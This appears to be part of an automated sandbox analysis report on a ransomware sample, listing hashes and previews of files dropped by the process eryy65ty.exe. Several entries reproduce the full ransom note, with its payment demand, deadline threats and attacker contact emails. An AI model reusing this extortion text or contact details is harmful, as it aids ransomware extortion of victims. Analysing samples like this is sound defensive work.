                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.852950458459899
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:edZJS6vBTZiDnDX0zQxWL0GPzunqeeW9XgRqesh0sIFcDHarEt/L9wgVm:CfxTZuDEzbYqSgcn6c0Et+l
                                                                                                                                        MD5:B9C927327503958D6B5ACF0590F0A782
                                                                                                                                        SHA1:E518F62B00A47A695E29B8D1E4B6F37A991F060B
                                                                                                                                        SHA-256:124C824BEF90839498F02CBA0C9EDF3398AC64974B758E253D9E35C281F0154E
                                                                                                                                        SHA-512:E8B00C2A5887879F3528ECC7E010338A99B33B1020F4652DA943E227A1D333A1732197F250957CE7AAB3B937CEA08CBDC0DDA8F0C3B233743C1C78EFBD06FF00
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.{.G5.s8.........c.RJ.p.q&.<..P.v.,/?+.X..xs28h.z .r3rR0C-._.D..'zE....7.:xs..r...k..;D.!.=.l..u.X.@<].....<..2...}Y {.$......6.8.d......k..T..w.b.....s\:e..]..w.....u....}.....o}V.."D..ska0.Cx..{G..5.t..|.`.tG.$J..........E.M(...(.d.E.W...........^...P.....!...BA...?..g..Z.4.i..WE..}...@RRU.*U....0...<7.....o.X..}PT.*_n>u.uo.),.....+....k.!xO..U.....}.........z)^.Z0@ri...\.?.S.3.....~w..r..v..Hk9...U.7.t..{h....-.vsuQ......F+[.m.:+.2...C......3.k...g..,c..Z..B.%.j.|. .h...T=S..@....w\dp+.].........(.)Pe.,......#*XtS.'..[..Q.......UQ..?.6..Nb9.?......M..#.b.W37){t......1ipN.A].+..rFaZ...l!......O..S^...d...@\....J.N.s"GO..0a|..<q....b.'n...+..~C.....,...N..P.B0c...h0?.R.}....x.-fB..,.z..dZ......v8..N.Z........)..4J..T.]..B.W.(.d..P.7YM.....L..+.FCq.v)........t....f.h..?...-..~...".`..x..B[....#.Y..,o.%...$..`].M..D....w.V...F...^..e!......G......@.rG)O[~...~.2...dl...D.....$@..7.p.......qb..=...G{.5..&.A..B...4...{..a.`...|....j...f.F
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.839355107929299
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:I02rvB2pyOmzuE+V2L6TTSfduqlNGlLaqs/bONOY3fH09XfVqXP9LQqA:I0wvB8yOmVQHSVublVsj964fVqXPyP
                                                                                                                                        MD5:F95DE369A14518CD2C559D7806315705
                                                                                                                                        SHA1:4C90909DC3CF9AE4FE8DB1E1CA1AB5EB697987D4
                                                                                                                                        SHA-256:AFD809BA6926FCF6EA68133EC752A4C61818BBE7E9B40CF1CA21E178F0E85370
                                                                                                                                        SHA-512:5104FC2B043ED095935BF5152F3D240ACC80BD0AE9E559855BE4CD8B87FB9DD04443FBD4A4EEFF1D54004F4A3418167531E51BDB639BEAB152E4BD0E0D81927D
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:........_{..|O.1...Z..=@.:..(.'17..._.ZE..&..M...0:p....\.\....A./..l.0.Z...V%m..A!o..<+Q..M..M8..:;.g@...U.A+.M.qQMc......I.]R.=......._J."G........c%R....$..l....CV..(.......Z..O..U|C.~+./}D'..[`..C...&...i.&.....Z."d........&.@w...\6.....3.......y..\....Bp?a...>.9.u......8q.j4..m"s>)>.0. O8a.=..>....;.f......d.|,!..E.H.#..{s...m.(J... .&....6........%.N.)V..c....b..x.3.z.........^z|.]......=T7........qp..{..`.\A....y.._......$.O..;..$....J...2.q..A..b.f...:Mj......n......M.WV B....f...".._:......../..G......G..M...C..;..p.p....@......~...~.e~.*......\.^x..J.H......[+G....X....F.fR.."5.B.u.&.........t.F.p7....(...Gb...BD.u.."..YVy. .i.ldk..K{...0..Ws.........U..|....j......"..7./....n.Y..1U~L."....x.x.Neu0]..{+....F..C.......6.0.O.}.M...b.....1..V.J:..F.Q....".M.-}.3E{..,.Y.k.u.5.d...%.7....lP<..s.......ZHs....X.Eu.)..D"....kHC..d.[.V..r....q...J.. .a.^.\.#...$..`Zw.gKe..Y.5..u....z..W........z.!:HCZ.c|.......d>..x@.Z.$..6=[..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.839355107929299
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:I02rvB2pyOmzuE+V2L6TTSfduqlNGlLaqs/bONOY3fH09XfVqXP9LQqA:I0wvB8yOmVQHSVublVsj964fVqXPyP
                                                                                                                                        MD5:F95DE369A14518CD2C559D7806315705
                                                                                                                                        SHA1:4C90909DC3CF9AE4FE8DB1E1CA1AB5EB697987D4
                                                                                                                                        SHA-256:AFD809BA6926FCF6EA68133EC752A4C61818BBE7E9B40CF1CA21E178F0E85370
                                                                                                                                        SHA-512:5104FC2B043ED095935BF5152F3D240ACC80BD0AE9E559855BE4CD8B87FB9DD04443FBD4A4EEFF1D54004F4A3418167531E51BDB639BEAB152E4BD0E0D81927D
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:........_{..|O.1...Z..=@.:..(.'17..._.ZE..&..M...0:p....\.\....A./..l.0.Z...V%m..A!o..<+Q..M..M8..:;.g@...U.A+.M.qQMc......I.]R.=......._J."G........c%R....$..l....CV..(.......Z..O..U|C.~+./}D'..[`..C...&...i.&.....Z."d........&.@w...\6.....3.......y..\....Bp?a...>.9.u......8q.j4..m"s>)>.0. O8a.=..>....;.f......d.|,!..E.H.#..{s...m.(J... .&....6........%.N.)V..c....b..x.3.z.........^z|.]......=T7........qp..{..`.\A....y.._......$.O..;..$....J...2.q..A..b.f...:Mj......n......M.WV B....f...".._:......../..G......G..M...C..;..p.p....@......~...~.e~.*......\.^x..J.H......[+G....X....F.fR.."5.B.u.&.........t.F.p7....(...Gb...BD.u.."..YVy. .i.ldk..K{...0..Ws.........U..|....j......"..7./....n.Y..1U~L."....x.x.Neu0]..{+....F..C.......6.0.O.}.M...b.....1..V.J:..F.Q....".M.-}.3E{..,.Y.k.u.5.d...%.7....lP<..s.......ZHs....X.Eu.)..D"....kHC..d.[.V..r....q...J.. .a.^.\.#...$..`Zw.gKe..Y.5..u....z..W........z.!:HCZ.c|.......d>..x@.Z.$..6=[..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.841369079909435
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:00CpVpwpo4W8yXxB+tC/0DnUv00vocu+66TzD14cTR/WVKSS:00C/6ptn+v+uv00vw6XD142uVdS
                                                                                                                                        MD5:ECC67F8AEFAF0C546896EAC361BE0791
                                                                                                                                        SHA1:406C8AE0903E21444FE8553BB7B6C9040FADE655
                                                                                                                                        SHA-256:B11C2040550F9B289250860FAB54F9E3288F7BCFDEBEAF8DFA8901A09237CD28
                                                                                                                                        SHA-512:C41B07C5C6DD0E7E46D45B3321B2B2943EDA1834D0AAFEB43C8AC5EC4C7DCA20F9EB418B2AC4B3DC4C9DD8C8154B2289640FB6E6B97EC90FA89FD80D0B3BBA92
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...$z5.6...v~...[......u...7M{...b.J.......]......t{.o.....+......CX.~$v.....-........].........<.g.F".Vj..S.x..c.........z...R.......H.f....M`.\7..$j...5.F.A. k...i.....N.C,.].c..4.....\..&.C.......5...d..M.../...e;@a..N...5.t..{3cD.9....&.:\.sOG.4.c;Tw..I...ko.....x.........(.H...Du.[.0..,;.l..Y{..?.y......C\...M.....t.C..K....H.r..V.j..... M.....d=\....-.....nP].K.o.e=[.;|h..x,...#..s}....>...D...'....h..l...=.....J..m..Y.#.}..K....k.`.g[.#Y......t........6l..,yx8.c.c.....;.._i..J..`.r...@T...hX...V..pU>....R........6@J.VR04y-..{..=.q......s.....8....../%p....w..... ...w. ...}S...Pw..(K.],).w......MK..0.@..~..qO%...]28.c..'.@p1.&(w.........j.B.o...>...b.....?p%..P.a..V.;{..H..;.Se<..LF|...8...O.a.*F0D..t..}.!....>.;.|...`....U.q.....chB..#J...W.J..m..i.K[X.,...L.;/.#.k.+.....G...a......r.Lb.#..q.&w.C.8..n....@...-...|......]%m.;....).;B4*.....8.BgZo....x.(..E.RS/.0...hv..{V].J:.c1w...YN>.D....|.......d.U,.....f.....L/x<(...$ ..c.=TGI.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.841369079909435
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:00CpVpwpo4W8yXxB+tC/0DnUv00vocu+66TzD14cTR/WVKSS:00C/6ptn+v+uv00vw6XD142uVdS
                                                                                                                                        MD5:ECC67F8AEFAF0C546896EAC361BE0791
                                                                                                                                        SHA1:406C8AE0903E21444FE8553BB7B6C9040FADE655
                                                                                                                                        SHA-256:B11C2040550F9B289250860FAB54F9E3288F7BCFDEBEAF8DFA8901A09237CD28
                                                                                                                                        SHA-512:C41B07C5C6DD0E7E46D45B3321B2B2943EDA1834D0AAFEB43C8AC5EC4C7DCA20F9EB418B2AC4B3DC4C9DD8C8154B2289640FB6E6B97EC90FA89FD80D0B3BBA92
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...$z5.6...v~...[......u...7M{...b.J.......]......t{.o.....+......CX.~$v.....-........].........<.g.F".Vj..S.x..c.........z...R.......H.f....M`.\7..$j...5.F.A. k...i.....N.C,.].c..4.....\..&.C.......5...d..M.../...e;@a..N...5.t..{3cD.9....&.:\.sOG.4.c;Tw..I...ko.....x.........(.H...Du.[.0..,;.l..Y{..?.y......C\...M.....t.C..K....H.r..V.j..... M.....d=\....-.....nP].K.o.e=[.;|h..x,...#..s}....>...D...'....h..l...=.....J..m..Y.#.}..K....k.`.g[.#Y......t........6l..,yx8.c.c.....;.._i..J..`.r...@T...hX...V..pU>....R........6@J.VR04y-..{..=.q......s.....8....../%p....w..... ...w. ...}S...Pw..(K.],).w......MK..0.@..~..qO%...]28.c..'.@p1.&(w.........j.B.o...>...b.....?p%..P.a..V.;{..H..;.Se<..LF|...8...O.a.*F0D..t..}.!....>.;.|...`....U.q.....chB..#J...W.J..m..i.K[X.,...L.;/.#.k.+.....G...a......r.Lb.#..q.&w.C.8..n....@...-...|......]%m.;....).;B4*.....8.BgZo....x.(..E.RS/.0...hv..{V].J:.c1w...YN>.D....|.......d.U,.....f.....L/x<(...$ ..c.=TGI.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.83858677852709
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:q2F0wSjejV+UNx8grxkK1mheQk4yF19FBQFIiDXrfM/JOQ5/VFIEo9fv5nF/1I1b:luwSjEj62ad0Qk4y/xFiDXzI9m11hM24
                                                                                                                                        MD5:F7850D9452D4130B8063CB6CB8DF8A92
                                                                                                                                        SHA1:58481FE693C8112F4A49E7BC75F643AB282E7935
                                                                                                                                        SHA-256:858B90BC1DC5DB9A1F29E41D0E1ED12CBC68DF921F0E9761D6AFC12855E846D5
                                                                                                                                        SHA-512:E4949ADEE8B0C153DFFAED82CF7CCD293F40B805D64AB1887E5A0237A7843A84C97C3B8ACEC851F2AB93BB27D01CEC105F543FC106D16CE57F74DC0B92DC47C2
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:N..rI.....V+..w..)..i..|X.bh.....$.#' ....q_.{G..9.8.k...7'..T.r..,...<F..Z{i..g.Oy.+..p......@.U.[..Mr......s.c..:...t.5.....!..'.d......0.0.......A..[C..Z.(.A....s=D{`HX.E0..x...O..a.e.x..l..n..m.g..j<PH..*.|8.wV..p...N.p\68..i....9......0.5.m.P.Q.4N.{.t..@?*].#.}...i..4+.oF.hJz..U..q....j..3C..Z..4+B<)....$..v.s....kNM... 5z.X...>..W........`h..."|.X... "Y.#.^...6u.j..b....6m.^.@>.pI.~[8p.D..v.N...7..w....Yx\z.k..IN....]B...p.M........Qw...?......s|.K{.x.k....8...k.I..I...Jo..8.''..M.N..U~.c.^..J..,.~r.mv......i|(..D..zX96..Eoi...I.<.G']1.....0t....C.....t..(.YbhQ.m..x.X.!..w^......m.vK..cO.,.`..!.....a..;o8.!..3o/g.|.r|0...\...F....mt.d?..._..k...5..f4p.Ri.....[:$^.@"...q&.......u..T-k.{..-..).F".ngE.6......}3...Z.G..R.....@..q.m.9<".[E...33~{.....P..V\.70....CFP.+...`.!.....&...._..e..>J...Z(7A!.LI..^.%.#y.[..U..:Zh.D.4...d....K......1......3/.VY...e...........tW....Y.P'.....`..6Oi+....q..!....!/..C.(.n...5..0..>.N4..(.e6..{..F.......
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.83858677852709
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:q2F0wSjejV+UNx8grxkK1mheQk4yF19FBQFIiDXrfM/JOQ5/VFIEo9fv5nF/1I1b:luwSjEj62ad0Qk4y/xFiDXzI9m11hM24
                                                                                                                                        MD5:F7850D9452D4130B8063CB6CB8DF8A92
                                                                                                                                        SHA1:58481FE693C8112F4A49E7BC75F643AB282E7935
                                                                                                                                        SHA-256:858B90BC1DC5DB9A1F29E41D0E1ED12CBC68DF921F0E9761D6AFC12855E846D5
                                                                                                                                        SHA-512:E4949ADEE8B0C153DFFAED82CF7CCD293F40B805D64AB1887E5A0237A7843A84C97C3B8ACEC851F2AB93BB27D01CEC105F543FC106D16CE57F74DC0B92DC47C2
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:N..rI.....V+..w..)..i..|X.bh.....$.#' ....q_.{G..9.8.k...7'..T.r..,...<F..Z{i..g.Oy.+..p......@.U.[..Mr......s.c..:...t.5.....!..'.d......0.0.......A..[C..Z.(.A....s=D{`HX.E0..x...O..a.e.x..l..n..m.g..j<PH..*.|8.wV..p...N.p\68..i....9......0.5.m.P.Q.4N.{.t..@?*].#.}...i..4+.oF.hJz..U..q....j..3C..Z..4+B<)....$..v.s....kNM... 5z.X...>..W........`h..."|.X... "Y.#.^...6u.j..b....6m.^.@>.pI.~[8p.D..v.N...7..w....Yx\z.k..IN....]B...p.M........Qw...?......s|.K{.x.k....8...k.I..I...Jo..8.''..M.N..U~.c.^..J..,.~r.mv......i|(..D..zX96..Eoi...I.<.G']1.....0t....C.....t..(.YbhQ.m..x.X.!..w^......m.vK..cO.,.`..!.....a..;o8.!..3o/g.|.r|0...\...F....mt.d?..._..k...5..f4p.Ri.....[:$^.@"...q&.......u..T-k.{..-..).F".ngE.6......}3...Z.G..R.....@..q.m.9<".[E...33~{.....P..V\.70....CFP.+...`.!.....&...._..e..>J...Z(7A!.LI..^.%.#y.[..U..:Zh.D.4...d....K......1......3/.VY...e...........tW....Y.P'.....`..6Oi+....q..!....!/..C.(.n...5..0..>.N4..(.e6..{..F.......
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.864419906299448
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:qNTBAEjFbpj1VydIg0puyFZD5GwUVm07yjRIP0QEKlXlDcJ:iTBAEjF1jBLD5G6DkXlDA
                                                                                                                                        MD5:1BE77A5B7C334FD4A9AD5947F5E9ADEA
                                                                                                                                        SHA1:0FA7512B4ECC70B14057855FA9304C0AF9FD5A4A
                                                                                                                                        SHA-256:14F7AF607A4B0553299E6EACCB04E9044A6A62BF78C587B4AC8974EC99B07C1B
                                                                                                                                        SHA-512:BFBE89339EA0311C3336E07998452274BD1E8708EB22D9DFE8A6FB930B80CE5DADCEB75A279CFFCC303A5BF057DF3605B7D71B85BD5D11DC88AD8D6C1671B974
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.%.4.....]<..[...hPj..|..&....Cy.......Bj.....$6.s.N...h...L...C:._...O.lx.T.wM.r.Q..:...e.7..ksh4}...1F0........).....Q.......r....ZF.&...C....Q......L.B.X..k)Y.+.T.....n....s(2...=..%..C..=..`.)..Ygv...q/P.o....`<u.+...J.. Q.9.....H..]72.FQ.....<u.p.C.D....k.}...F2oegw.i...ot.;....aR.IQ..J........ld.k|.....E.H./.>".H...n..(.*..%.C....x..W$..a...Gk.L.{."W)"2.._M..ek..... .h..i...5..c\..l...@....:...P...a.o.Q.....d..j..zg.q........~..1..E.....Zm3..>...E."..K...!...s.ha..}x-j..7.bTS..8..H....IL.Ve!(....t.:B..7...-vi.Qt...YD....{.}..|.6GX..........G."..f..`........$m.:....iDW...Q.5..s'j.....2.R..E8+.>Q6..*...............Q.p...\gqX...^...............@o.\T...{..#.[Z#.....L`l.?D.P....k....:T.{O...O..Z.....c.Li7..-.l..(.wZcw,#A6w|.3f..l........~.[..k........z..z9]9:....3N.=...0...l....h.^._.c....SxE.R..j,.{..C...T..#..G....P..'...M0...`./31.o>[@..C..&.]4F+e7.._.Y.'.`....38....'~..[...S.r...u...9....!....*...K.......u.9b..%A.....K3..i......./.@
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.864419906299448
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:qNTBAEjFbpj1VydIg0puyFZD5GwUVm07yjRIP0QEKlXlDcJ:iTBAEjF1jBLD5G6DkXlDA
                                                                                                                                        MD5:1BE77A5B7C334FD4A9AD5947F5E9ADEA
                                                                                                                                        SHA1:0FA7512B4ECC70B14057855FA9304C0AF9FD5A4A
                                                                                                                                        SHA-256:14F7AF607A4B0553299E6EACCB04E9044A6A62BF78C587B4AC8974EC99B07C1B
                                                                                                                                        SHA-512:BFBE89339EA0311C3336E07998452274BD1E8708EB22D9DFE8A6FB930B80CE5DADCEB75A279CFFCC303A5BF057DF3605B7D71B85BD5D11DC88AD8D6C1671B974
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.%.4.....]<..[...hPj..|..&....Cy.......Bj.....$6.s.N...h...L...C:._...O.lx.T.wM.r.Q..:...e.7..ksh4}...1F0........).....Q.......r....ZF.&...C....Q......L.B.X..k)Y.+.T.....n....s(2...=..%..C..=..`.)..Ygv...q/P.o....`<u.+...J.. Q.9.....H..]72.FQ.....<u.p.C.D....k.}...F2oegw.i...ot.;....aR.IQ..J........ld.k|.....E.H./.>".H...n..(.*..%.C....x..W$..a...Gk.L.{."W)"2.._M..ek..... .h..i...5..c\..l...@....:...P...a.o.Q.....d..j..zg.q........~..1..E.....Zm3..>...E."..K...!...s.ha..}x-j..7.bTS..8..H....IL.Ve!(....t.:B..7...-vi.Qt...YD....{.}..|.6GX..........G."..f..`........$m.:....iDW...Q.5..s'j.....2.R..E8+.>Q6..*...............Q.p...\gqX...^...............@o.\T...{..#.[Z#.....L`l.?D.P....k....:T.{O...O..Z.....c.Li7..-.l..(.wZcw,#A6w|.3f..l........~.[..k........z..z9]9:....3N.=...0...l....h.^._.c....SxE.R..j,.{..C...T..#..G....P..'...M0...`./31.o>[@..C..&.]4F+e7.._.Y.'.`....38....'~..[...S.r...u...9....!....*...K.......u.9b..%A.....K3..i......./.@
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.866128076964034
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:6NnrCSunS9o3RD5nKfkW9IbbG2Y+ClAnfCnFJcvnps4AJDaZtV:mWSEXBD5npW9obGOFKnfcvnuLyn
                                                                                                                                        MD5:64829B115F91B8E9BF12A5D3ED1D1D86
                                                                                                                                        SHA1:F84DAD74EFDBB1CCAF4B2C6C2B5AA66A1C80A1CC
                                                                                                                                        SHA-256:7CF97E367C494C37E81046B13C97A45261D4F59AD44C6B1152AA1FEB74D6A56D
                                                                                                                                        SHA-512:C0D29BAAF8D8A3091E287873936D7641C31BF123933B0EA61BA8B0ED2440839D45397FE80A99498E91731B3E64EB1DB20ACB33C84FE9C628A61F6FC3B7819182
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..Ar<..hYwL.>A..?..uA.d...%.4..G.].{O...BA@+z.d..j..9#qc.]......L&(.(0.*.=5..m(..b1..{........Ez...%.{..N .(Y8......od4...'?..L+K.K.h.n.\s.Jp..._.H..=F..^F..7..4.ay[}....f......p(7.v.V}./{..I)...&I5...V...?..e9.....x..9...C.L.iEv..V.%......Wa...hPA.`......G.~{BM."....p................4..'..!..R.<...Ty...Q.w...TwI5.v..R.a.{....R.|]..... _.;.C.,z.E.*.\~9.~.1.:E......n."...R.N...a0.#V.7..s..)9.......4..&K..rL..d........T...L......S...fv....[..Ux.>dY./...0m>..m.<.|W.6...z...,......u.eH..........$..7.'M...t.3..6:.z.-@.Y....!@^.z..%?.1..]......z.......8.....y.....XT..u....g.y.....o&4.,..*....^e...(...@HP-Cd.?.5....T.... .%^.............Z..W.....~. ;...@G<... .^].|G.h...)..k'....' 1p+...N....u.b....]A.a.03.QR....\....;.N.O-..{"6+R.D...Y.~.0..u&Y.....S...e+...2...yg....v.r..Y..qn.Mw.....w.Ww....m.R$..,V........6J..rz,j...K...:I..9.....T@.NdF....k....s*\......#....r..-.R....]...#..J0kq.+FY.......JQh.\..=@.k.T..X.....r/..Q:...i...\
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.866128076964034
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:6NnrCSunS9o3RD5nKfkW9IbbG2Y+ClAnfCnFJcvnps4AJDaZtV:mWSEXBD5npW9obGOFKnfcvnuLyn
                                                                                                                                        MD5:64829B115F91B8E9BF12A5D3ED1D1D86
                                                                                                                                        SHA1:F84DAD74EFDBB1CCAF4B2C6C2B5AA66A1C80A1CC
                                                                                                                                        SHA-256:7CF97E367C494C37E81046B13C97A45261D4F59AD44C6B1152AA1FEB74D6A56D
                                                                                                                                        SHA-512:C0D29BAAF8D8A3091E287873936D7641C31BF123933B0EA61BA8B0ED2440839D45397FE80A99498E91731B3E64EB1DB20ACB33C84FE9C628A61F6FC3B7819182
                                                                                                                                        Malicious:false
